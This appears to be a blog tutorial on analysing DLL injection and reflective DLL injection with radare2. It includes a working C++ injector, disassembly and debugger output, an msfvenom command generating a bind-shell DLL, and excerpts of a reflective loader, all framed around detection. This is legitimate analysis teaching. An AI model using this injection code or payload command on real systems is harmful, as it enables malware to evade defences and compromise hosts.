In today’s part of the series on malware analysis with radare2, we’ll start checking some basic code injection techniques, used by malware to evade anti-virus software. We will start with the very basics, seeing stuff like DLL injection / reflective DLL injection. Techniques not commonly used nowadays but useful to understand the underlying processes and techniques used by attackers. Feel free to skip this one if you are a pro.
Very basic DLL Injection
According to Wikipedia:
DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injection is often used by external programs to influence the behavior of another program in a way its authors did not anticipate or intend. For example, the injected code could hook system function calls, or read the contents of password textboxes, which cannot be done the usual way. A program used to inject arbitrary code into arbitrary processes is called a DLL injector.
In plain terms, when using DLL injection an attacker will have a malicious program in the form of a DLL that will want to get executed in the target system, why that instead of just running it? Because EDR and overall security systems will perform checks on the program before allowing it to fully run, those checks may include signature checks against the binary to detect malicious / identified patterns and/or checking for malicious known actions, hooking api calls among many other detection techniques. But what if the malicious code gets executed inside the process of a prrogram that has been already checked? Then the attacker skips that, getting execution easily. That can be done in many many many ways, one of the easiest ones being the “remote” embedding of a DLL, using what’s called DLL injection.
A dynamic-link library (DLL) is the Microsoft’s implementation of the shared library concept in the Microsoft Windows and OS/2 operating systems. These libraries usually have the file extension DLL, OCX (for libraries containing ActiveX controls), or DRV (for legacy system drivers). The file formats for DLLs are the same as for Windows EXE files, that is, Portable Executable (PE) for 32-bit and 64-bit Windows, and New Executable (NE) for 16-bit Windows. As with EXEs, DLLs can contain code, data, and resources, in any combination. In general terms, for us, a DLL will be a set of functions related to a certain common general task (ie: doing advanced math operations) potential to be done by many different programs, the code re-use of a DLL facilitates the development of software. In our case a DLL will contain code, resources and a list of imported functions, that is functions requiered for the DLL’s code to work as well as a list of exported functions, that is, functions to be used (offered) by other software.
An example of a “hello world” DLL can be found below:
#include "main.h"
// a sample exported function
void DLL_EXPORT SomeFunction(const LPCSTR sometext)
{
MessageBoxA(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}
extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// attach to process
// return FALSE to fail DLL load
MessageBoxA(0, "dummy text", "DLL Message: ATTACH!", MB_OK | MB_ICONINFORMATION);
break;
case DLL_PROCESS_DETACH:
// detach from process
break;
case DLL_THREAD_ATTACH:
// attach to thread
break;
case DLL_THREAD_DETACH:
// detach from thread
break;
}
return TRUE; // succesful
}
In this particular case, if a program makes use of this DLL by loading it (ie: calling LoadLibrary, compiling the project including the library etc) it will be able to call “SomeFunction” as it will be on the exports. At the same time, the DLL will import MessageBox. We also see the DllMain code, that is the first call to be executed once that library gets into play in any form. We see that it displays a message box once it gets attached to a process, that is exactly what we want. The code after the case DLL_PROCESS_ATTACH will be executed once the library is included (by loadlibrary in the following example) in the process. So, if we are able to make a process call LoadLibraryA on this DLL, the MessageBox(“dummytext”) will be automatically executed.
And that is when the first and most basic form of DLL injection comes into play:
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
LPCSTR DllPath = "C:\\Users\\lab\\Documents\\projects\\DLLINJECT1\\dummydll.dll"; // The Path to our DLL
HWND hwnd = FindWindowA(NULL, "DummyWindow1"); // HWND (Windows window) by Window Name
DWORD procID; // A 32-bit unsigned integer, DWORDS are mostly used to store Hexadecimal Addresses
GetWindowThreadProcessId(hwnd, &procID); // Getting our Process ID, as an ex. like 000027AC
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); // Opening the Process with All Access
// Allocate memory for the dllpath in the target process, length of the path string + null terminator
LPVOID pDllPath = VirtualAllocEx(handle, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
// Write the path to the address of the memory we just allocated in the target process
WriteProcessMemory(handle, pDllPath, (LPVOID)DllPath, strlen(DllPath) + 1, 0);
// Create a Remote Thread in the target process which calls LoadLibraryA as our dllpath as an argument -> program loads our dll
HANDLE hLoadThread = CreateRemoteThread(handle, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"), pDllPath, 0, 0);
WaitForSingleObject(hLoadThread, INFINITE); // Wait for the execution of our loader thread to finish
cout << "Dll path allocated at: " << hex << pDllPath << endl;
cin.get();
VirtualFreeEx(handle, pDllPath, strlen(DllPath) + 1, MEM_RELEASE); // Free the memory allocated for our dll path
return 0;
}
The process for basic DLL injection is simple:
- First the attacker places the “evil” DLL on disk
- Then it opens a target process, getting a handle to it
- Then it calls VirtualAllocEx to allocate a chunk of memory in the remote process the size of the DllPath (+1 to NULL terminate)
- Then it writes the path to that DLL there
- Then it starts a new thread on that process calling LoadLibraryA, using the written DLL path as the parameter
To get LoadLibraryA to run in the remote thread, we need to resolve its address, that is why we use GetProceAddress and as it is part of the kernel32 DLL, we will first get a handle to it. This can be understood in a clearer way in the minute 8:00 of Debasish Mandal’s tutorial as he is explaining the technique using a simple Python script.
So, after that, boom, a MessageBox. Then the program will unload the whole thing and back to normal. How will it look from a reversing point of view?
Let’s check that in radare2:
[0x00401550]> pdf
;-- main:
; CALL XREF from sym.__tmainCRTStartup @ 0x4013c2
/ 465: dbg.main (int64_t arg1);
| ; var DWORD procID @ rbp-0x2c
| ; var HANDLE hLoadThread @ rbp-0x28
| ; var LPVOID pDllPath @ rbp-0x20
| ; var HANDLE handle @ rbp-0x18
| ; var HWND hwnd @ rbp-0x10
| ; var LPCSTR DllPath @ rbp-0x8
| ; var char *var_20h @ rsp+0x20
| ; var int64_t var_28h @ rsp+0x28
| ; var char *var_30h @ rsp+0x30
| ; arg int64_t arg1 @ rdi
| 0x00401550 55 push rbp ; int main();
| 0x00401551 4889e5 mov rbp, rsp
| 0x00401554 4883ec70 sub rsp, 0x70
| 0x00401558 e833030000 call sym.__main
| 0x0040155d 488d05a43a00. lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
| 0x00401564 488945f8 mov qword [DllPath], rax
| 0x00401568 488d15d13a00. lea rdx, str.DummyWindow1 ; 0x405040 ; "DummyWindow1"
| 0x0040156f b900000000 mov ecx, 0
| 0x00401574 488b05f97e00. mov rax, qword [sym.imp.USER32.dll_FindWindowA] ; [0x409474:8]=0x9892 reloc.USER32.dll_FindWindowA
| 0x0040157b ffd0 call rax
| 0x0040157d 488945f0 mov qword [hwnd], rax
| 0x00401581 488d45d4 lea rax, [procID]
| 0x00401585 488b4df0 mov rcx, qword [hwnd]
| 0x00401589 4889c2 mov rdx, rax
| 0x0040158c 488b05e97e00. mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x98a0 reloc.USER32.dll_GetWindowThreadProcessId
| 0x00401593 ffd0 call rax
| 0x00401595 8b45d4 mov eax, dword [procID]
| 0x00401598 4189c0 mov r8d, eax
| 0x0040159b ba00000000 mov edx, 0
| 0x004015a0 b9ff0f1f00 mov ecx, 0x1f0fff
| 0x004015a5 488b05687d00. mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x9610 reloc.KERNEL32.dll_OpenProcess
| 0x004015ac ffd0 call rax
| 0x004015ae 488945e8 mov qword [handle], rax
| 0x004015b2 488b45f8 mov rax, qword [DllPath]
| 0x004015b6 4889c1 mov rcx, rax
| 0x004015b9 e8f2160000 call sym.strlen
| 0x004015be 488d5001 lea rdx, [rax + 1]
| 0x004015c2 488b45e8 mov rax, qword [handle]
| 0x004015c6 c74424200400. mov dword [var_20h], 4
| 0x004015ce 41b900100000 mov r9d, 0x1000
| 0x004015d4 4989d0 mov r8, rdx
| 0x004015d7 ba00000000 mov edx, 0
| 0x004015dc 4889c1 mov rcx, rax
| 0x004015df 488b05867d00. mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x96f4 reloc.KERNEL32.dll_VirtualAllocEx
| 0x004015e6 ffd0 call rax
| 0x004015e8 488945e0 mov qword [pDllPath], rax
| 0x004015ec 488b45f8 mov rax, qword [DllPath]
| 0x004015f0 4889c1 mov rcx, rax
| 0x004015f3 e8b8160000 call sym.strlen
| 0x004015f8 4c8d4001 lea r8, [rax + 1]
| 0x004015fc 488b4df8 mov rcx, qword [DllPath]
| 0x00401600 488b55e0 mov rdx, qword [pDllPath]
| 0x00401604 488b45e8 mov rax, qword [handle]
| 0x00401608 48c744242000. mov qword [var_20h], 0
| 0x00401611 4d89c1 mov r9, r8
| 0x00401614 4989c8 mov r8, rcx
| 0x00401617 4889c1 mov rcx, rax
| 0x0040161a 488b05737d00. mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x974e reloc.KERNEL32.dll_WriteProcessMemory ; "N\x97"
| 0x00401621 ffd0 call rax
| 0x00401623 488d0d233a00. lea rcx, str.Kernel32.dll ; 0x40504d ; "Kernel32.dll"
| 0x0040162a 488b05ab7c00. mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x957a reloc.KERNEL32.dll_GetModuleHandleA ; "z\x95"
| 0x00401631 ffd0 call rax
| 0x00401633 488d15203a00. lea rdx, str.LoadLibraryA ; 0x40505a ; "LoadLibraryA"
| 0x0040163a 4889c1 mov rcx, rax
| 0x0040163d 488b05a07c00. mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x958e reloc.KERNEL32.dll_GetProcAddress
| 0x00401644 ffd0 call rax
| 0x00401646 4889c1 mov rcx, rax
| 0x00401649 488b45e8 mov rax, qword [handle]
| 0x0040164d 48c744243000. mov qword [var_30h], 0
| 0x00401656 c74424280000. mov dword [var_28h], 0
| 0x0040165e 488b55e0 mov rdx, qword [pDllPath]
| 0x00401662 4889542420 mov qword [var_20h], rdx
| 0x00401667 4989c9 mov r9, rcx
| 0x0040166a 41b800000000 mov r8d, 0
| 0x00401670 ba00000000 mov edx, 0
| 0x00401675 4889c1 mov rcx, rax
| 0x00401678 488b05257c00. mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x94e4 reloc.KERNEL32.dll_CreateRemoteThread
| 0x0040167f ffd0 call rax
| 0x00401681 488945d8 mov qword [hLoadThread], rax
| 0x00401685 488b45d8 mov rax, qword [hLoadThread]
| 0x00401689 baffffffff mov edx, 0xffffffff ; -1
| 0x0040168e 4889c1 mov rcx, rax
| 0x00401691 488b05f47c00. mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject] ; [0x40938c:8]=0x9738 reloc.KERNEL32.dll_WaitForSingleObject ; "8\x97"
| 0x00401698 ffd0 call rax
| 0x0040169a 488d15c63900. lea rdx, str.Dll_path_allocated_at:_ ; 0x405067 ; "Dll path allocated at: "
| 0x004016a1 488b0df83c00. mov rcx, qword [0x004053a0] ; [0x4053a0:8]=0x4094c4 sym.imp.libstdc_6.dll_std::cout
| 0x004016a8 e8f3000000 call sym std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) ; sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
| 0x004016ad 4889c1 mov rcx, rax
| 0x004016b0 488d05891800. lea rax, [dbg.std::hex(std::ios_base&)] ; dbg.std::hex_std::ios_base_
| ; 0x402f40
| 0x004016b7 4889c2 mov rdx, rax
| 0x004016ba e809010000 call sym std::ostream::operator<<(std::ios_base& (*)(std::ios_base&)) ; sym.std::ostream::operator___std::ios_base____std::ios_base__
| 0x004016bf 4889c1 mov rcx, rax
| 0x004016c2 488b45e0 mov rax, qword [pDllPath]
| 0x004016c6 4889c2 mov rdx, rax
| 0x004016c9 e8f2000000 call sym std::ostream::operator<<(void const*) ; sym.std::ostream::operator___void_const_
| 0x004016ce 488b15db3c00. mov rdx, qword [0x004053b0] ; [0x4053b0:8]=0x4017a8
| 0x004016d5 4889c1 mov rcx, rax
| 0x004016d8 e8f3000000 call sym std::ostream::operator<<(std::ostream& (*)(std::ostream&)) ; sym.std::ostream::operator___std::ostream____std::ostream__
| 0x004016dd 488b0dac3c00. mov rcx, qword [0x00405390] ; [0x405390:8]=0x4094bc sym.imp.libstdc_6.dll_std::cin
| 0x004016e4 e8ef000000 call fcn.004017d8
| 0x004016e9 488b45f8 mov rax, qword [DllPath]
| 0x004016ed 4889c1 mov rcx, rax
| 0x004016f0 e8bb150000 call sym.strlen
| 0x004016f5 488d4801 lea rcx, [rax + 1]
| 0x004016f9 488b55e0 mov rdx, qword [pDllPath]
| 0x004016fd 488b45e8 mov rax, qword [handle]
| 0x00401701 41b900800000 mov r9d, 0x8000
| 0x00401707 4989c8 mov r8, rcx
| 0x0040170a 4889c1 mov rcx, rax
| 0x0040170d 488b05607c00. mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx] ; [0x409374:8]=0x9706 reloc.KERNEL32.dll_VirtualFreeEx
| 0x00401714 ffd0 call rax
| 0x00401716 b800000000 mov eax, 0
| 0x0040171b 4883c470 add rsp, 0x70
| 0x0040171f 5d pop rbp
\ 0x00401720 c3 ret
[0x00401550]>
So this one is super easy to detect in a binary (that is why it is almost not being used anymore). Basically we will find a chain of VirtualAllocEx, WriteProcessMemory, GetProcAddress/LoadLibraryA and then a CreateRemoteThread. Though the path to the DLL may be obfuscated, those ones one after the other inside a suspicious file represent a very clear red flag and indeed are easily detected by EDR software.
From a debugging point of view, we see that first the DLL path is loaded:
hit breakpoint at: 0x40155d
[0x0040155d]> pd 10
| ;-- rip:
| 0x0040155d b 488d05a43a00. lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
| 0x00401564 488945f8 mov qword [DllPath], rax
Then in this case, the Window id related to the process we want to inject in is retrieved:
| 0x0040157b b ffd0 call rax
| 0x0040157d b 488945f0 mov qword [hwnd], rax
| 0x00401581 488d45d4 lea rax, [procID]
| 0x00401585 488b4df0 mov rcx, qword [hwnd]
| 0x00401589 4889c2 mov rdx, rax
[0x0040155d]> dc
hit breakpoint at: 0x40157d
[0x0040155d]> dr rax
0x000807ba
[0x0040155d]>
Then the process id:
| 0x0040158c 488b05e97e00. mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x7ffe66b33500
| 0x00401593 ffd0 call rax
| ;-- rip:
| 0x00401595 b 8b45d4 mov eax, dword [procID]
| 0x00401598 4189c0 mov r8d, eax
| 0x0040159b ba00000000 mov edx, 0
Then the process handle:
| 0x004015a0 b9ff0f1f00 mov ecx, 0x1f0fff
| 0x004015a5 488b05687d00. mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x7ffe6660ade0
| 0x004015ac ffd0 call rax
| 0x004015ae 488945e8 mov qword [handle], rax
And we alloc some space:
| 0x004015dc 4889c1 mov rcx, rax
| 0x004015df 488b05867d00. mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x7ffe6662ca20 ; " \xcabf\xfe\x7f"
| 0x004015e6 ffd0 call rax
| ;-- rip:
| 0x004015e8 b 488945e0 mov qword [pDllPath], rax
| 0x004015ec 488b45f8 mov rax, qword [DllPath]
[0x004015ae]> dr rax
0x020c0000
[0x004015ae]>
If we check that on the remote process by attaching a debugger session to it (r2 -d) we see that initially, it is all 0’s
[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0010 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0030 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0040 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0050 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0060 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0070 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0080 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c0090 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c00a0 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x020c00b0 0x00000000 0x00000000 0x00000000 0x00000000 ................
Then WriteProcessMemory gets called:
| 0x004015e8 b 488945e0 mov qword [pDllPath], rax
| 0x004015ec 488b45f8 mov rax, qword [DllPath]
| 0x004015f0 4889c1 mov rcx, rax
| 0x004015f3 e8b8160000 call sym.strlen
| 0x004015f8 4c8d4001 lea r8, [rax + 1]
| 0x004015fc 488b4df8 mov rcx, qword [DllPath]
| 0x00401600 488b55e0 mov rdx, qword [pDllPath]
| 0x00401604 488b45e8 mov rax, qword [handle]
| 0x00401608 48c744242000. mov qword [var_20h], 0
| 0x00401611 4d89c1 mov r9, r8
| 0x00401614 4989c8 mov r8, rcx
| 0x00401617 4889c1 mov rcx, rax
| 0x0040161a 488b05737d00. mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x7ffe6662cc80
| 0x00401621 ffd0 call rax
| 0x00401623 488d0d233a00. lea rcx, str.Kernel32.dll ; 0x40504d ; "Kernel32.dll"
And if we go check again, we see the path of the DLL in there:
[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000 0x555c3a43 0x73726573 0x62616c5c 0x636f445c C:\Users\lab\Doc
0x020c0010 0x6e656d75 0x705c7374 0x656a6f72 0x5c737463 uments\projects\
0x020c0020 0x494c4c44 0x43454a4e 0x645c3154 0x796d6d75 DLLINJECT1\dummy
0x020c0030 0x2e6c6c64 0x006c6c64 0x00000000 0x00000000 dll.dll.........
0x020c0040 0x00000000 0x00000000 0x00000000 0x00000000 ................
Now we resolve the base of kernel32 and then LoadLibraryA:
[0x00401623]> pd 20
| ;-- rip:
| 0x00401623 b 488d0d233a00. lea rcx, str.Kernel32.dll ; 0x40504d ; "Kernel32.dll"
| 0x0040162a 488b05ab7c00. mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x7ffe6660f0b0
| 0x00401631 ffd0 call rax
| 0x00401633 488d15203a00. lea rdx, str.LoadLibraryA ; 0x40505a ; "LoadLibraryA"
| 0x0040163a 4889c1 mov rcx, rax
| 0x0040163d 488b05a07c00. mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x7ffe6660aec0
[0x00401623]> dr rax
0x7ffe666104f0
And with that, CreateRemoteThread gets called:
0x00401646 b 4889c1 mov rcx, rax
| 0x00401649 488b45e8 mov rax, qword [handle]
| 0x0040164d 48c744243000. mov qword [var_30h], 0
| 0x00401656 c74424280000. mov dword [var_28h], 0
| 0x0040165e 488b55e0 mov rdx, qword [pDllPath]
| 0x00401662 4889542420 mov qword [var_20h], rdx
| 0x00401667 4989c9 mov r9, rcx
| 0x0040166a 41b800000000 mov r8d, 0
| 0x00401670 ba00000000 mov edx, 0
| 0x00401675 4889c1 mov rcx, rax
| 0x00401678 488b05257c00. mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x7ffe6662ab20 ; " \xabbf\xfe\x7f"
| 0x0040167f ffd0 call rax
Now if we go back to the victim process and check on the loaded libraries we will see a new one inside:
[0x7ffe672b0861]> dmi
0x00400000 0x00418000 C:\Users\lab\Desktop\DUMMYWINDOW.exe
0x7ffe67210000 0x7ffe67405000 C:\Windows\SYSTEM32\ntdll.dll
0x7ffe665f0000 0x7ffe666ae000 C:\Windows\System32\KERNEL32.DLL
0x7ffe64990000 0x7ffe64c59000 C:\Windows\System32\KERNELBASE.dll
0x7ffe664b0000 0x7ffe6654e000 C:\Windows\System32\msvcrt.dll
0x7ffe66b30000 0x7ffe66cd1000 C:\Windows\System32\USER32.dll
0x7ffe65230000 0x7ffe65252000 C:\Windows\System32\win32u.dll
0x7ffe666b0000 0x7ffe666db000 C:\Windows\System32\GDI32.dll
0x7ffe64ec0000 0x7ffe64fcb000 C:\Windows\System32\gdi32full.dll
0x7ffe64cf0000 0x7ffe64d8d000 C:\Windows\System32\msvcp_win.dll
0x7ffe64d90000 0x7ffe64e90000 C:\Windows\System32\ucrtbase.dll
0x7ffe665c0000 0x7ffe665f0000 C:\Windows\System32\IMM32.DLL
0x7ffe62300000 0x7ffe6239e000 C:\Windows\system32\uxtheme.dll
0x7ffe66750000 0x7ffe66aa5000 C:\Windows\System32\combase.dll
0x7ffe66e20000 0x7ffe66f4a000 C:\Windows\System32\RPCRT4.dll
0x7ffe653c0000 0x7ffe654d5000 C:\Windows\System32\MSCTF.dll
0x7ffe66f50000 0x7ffe6701d000 C:\Windows\System32\OLEAUT32.dll
0x7ffe66410000 0x7ffe664ab000 C:\Windows\System32\sechost.dll
0x7ffe62830000 0x7ffe62842000 C:\Windows\SYSTEM32\kernel.appcore.dll
0x7ffe64c60000 0x7ffe64ce3000 C:\Windows\System32\bcryptPrimitives.dll
0x7ffe590a0000 0x7ffe59199000 C:\Windows\SYSTEM32\textinputframework.dll
0x7ffe61cb0000 0x7ffe6200e000 C:\Windows\System32\CoreUIComponents.dll
0x7ffe654e0000 0x7ffe6558d000 C:\Windows\System32\SHCORE.dll
0x7ffe65d40000 0x7ffe65dec000 C:\Windows\System32\advapi32.dll
0x7ffe62010000 0x7ffe62102000 C:\Windows\System32\CoreMessaging.dll
0x7ffe666e0000 0x7ffe6674b000 C:\Windows\System32\WS2_32.dll
0x7ffe63750000 0x7ffe63783000 C:\Windows\SYSTEM32\ntmarta.dll
0x7ffe615e0000 0x7ffe61734000 C:\Windows\SYSTEM32\wintypes.dll
0x7ffe66cf0000 0x7ffe66e1a000 C:\Windows\System32\ole32.dll
0x7ffe65df0000 0x7ffe65e99000 C:\Windows\System32\clbcatq.dll
0x66800000 0x6681a000 C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll
0x7ffe54ea0000 0x7ffe54f4c000 C:\Windows\SYSTEM32\TextShaping.dll
[0x7ffe672b0861]>
And that’s it, a MessageBox will prompt on the screen!
Generating an evil DLL with msfvenom
But are we injecting DummyDLL on the victim? Well, we can either port our malware to the DLL format by doing minor changes to it, or we can even use the metasploit framework in our pentests to generate evil DLL’s ready to be injected using this technique using the following command:
┌──(lab㉿kali)-[~]
└─$ msfvenom -p windows/shell/bind_tcp LHOST=0.0.0.0 LPORT=8081 -f dll > ./bindshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of dll file: 8704 bytes
Then we can simple edit the code previously shown and we are good to go.
Reflective dll
So the main problem with that previous method is that the attacker needs to actually place the malicious DLL on disk, then inject it. Many modern EDR software will detect the file after it gets dropped, also, an incident response team will easily find that evil artifact on the course of a forensical examination. To solve that, Stephen Fewer came up more than ten years ago with a technique called reflective dll injection where the evil DLL is never written on disk, instead it is either decoded from the memory of the malware, downloaded from the internet (from the C2) “on the fly” etc, but it never touches disk, then it is injected and self-loaded on the target process. It is a form of fileless malware to call it in some way, and it can be found in Mitre as T1620. This technique though it can be detected, has some advantadges. As the attacker loads the DLL in a “non-official way” that is without making use of a specific api call for that, the injected DLL won’t get registered, evading some detection mechanisms.
Reflective DLL loading refers to loading a DLL from memory rather than from disk.
Windows doesn’t have a LoadLibrary function that supports this, so to get the functionality you have to write your own, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring.
The process of reflective DLL injection is as follows:
- Open target process with read-write-execute permissions and allocate memory large enough for the whole DLL to be injected.
- Copy the raw bytes of the DLL into the allocated memory space.
- Calculate the memory offset within the DLL to the export used for doing reflective loading.
- Call CreateRemoteThread (or an equivalent undocumented API function like RtlCreateUserThread) to start execution in the remote process, using the offset address of the reflective loader function as the entry point.
- The reflective loader function finds the Process Environment Block of the target process using the appropriate CPU register, and uses that to find the address in memory of kernel32.dll and any other required libraries. More about resolving kernel32 here
- Parse the exports directory of kernel32 to find the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.
- Use these functions to then properly load the DLL (itself) into memory and call its entry point, DllMain.
The whole code that we will be using to study how can we detect a reflective DLL injection is the original one from Mr. Fewer
Static analysis
So first of all, a potential injector will access a DLL to be injected, that may come in the form of a file on disk (unusual, but used for the example), downloaded bytes or inside the binary in the resources section for example:
if( argc == 1 )
dwProcessId = GetCurrentProcessId();
else
dwProcessId = atoi( argv[1] );
if( argc >= 3 )
cpDllFile = argv[2];
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
So we see how the path string is loaded in here:
A handle to the file is opened:
And the bytes are read:
After that the attacker opens the victim process, getting a handle to it, then it will call LoadRemoteLibraryR, that is a custom function in charge of writting in the raw bytes of the DLL inside the remote process and passing its execution to the reflectiveloader:
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
So we see the handle to the process being retrieved:
And then passed to a function, we can identify as the injector:
THen we see a combination of VirtualAllocEx, WriteProcessMemory and CreateRemoteThread that should trigger an alert:
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
The GetRflctivLoadr call will parse the exports of the DLL to be injected to check for “ReflectiveLoader”
In radare2 or our reversing tool of choice that can be detectd easily:
After the call to CreateRemoteThread referencing the ReflectiveLoader, the execution is passed to the code of the DLL.
The reflectiveloader is a position-independent code, that is, a code that can be executed no matter where it is located as it is not making any references to specific locations in memory lik api-calls, this is pretty common in shellcode, for example, when working with exploits. The loader will resolve everything it needs for execution “on the fly”.
So, first of all, it will check itself to be a valid executable, by chcking for the “MZ”.
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
Then it will resolve the needed libraries first:
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
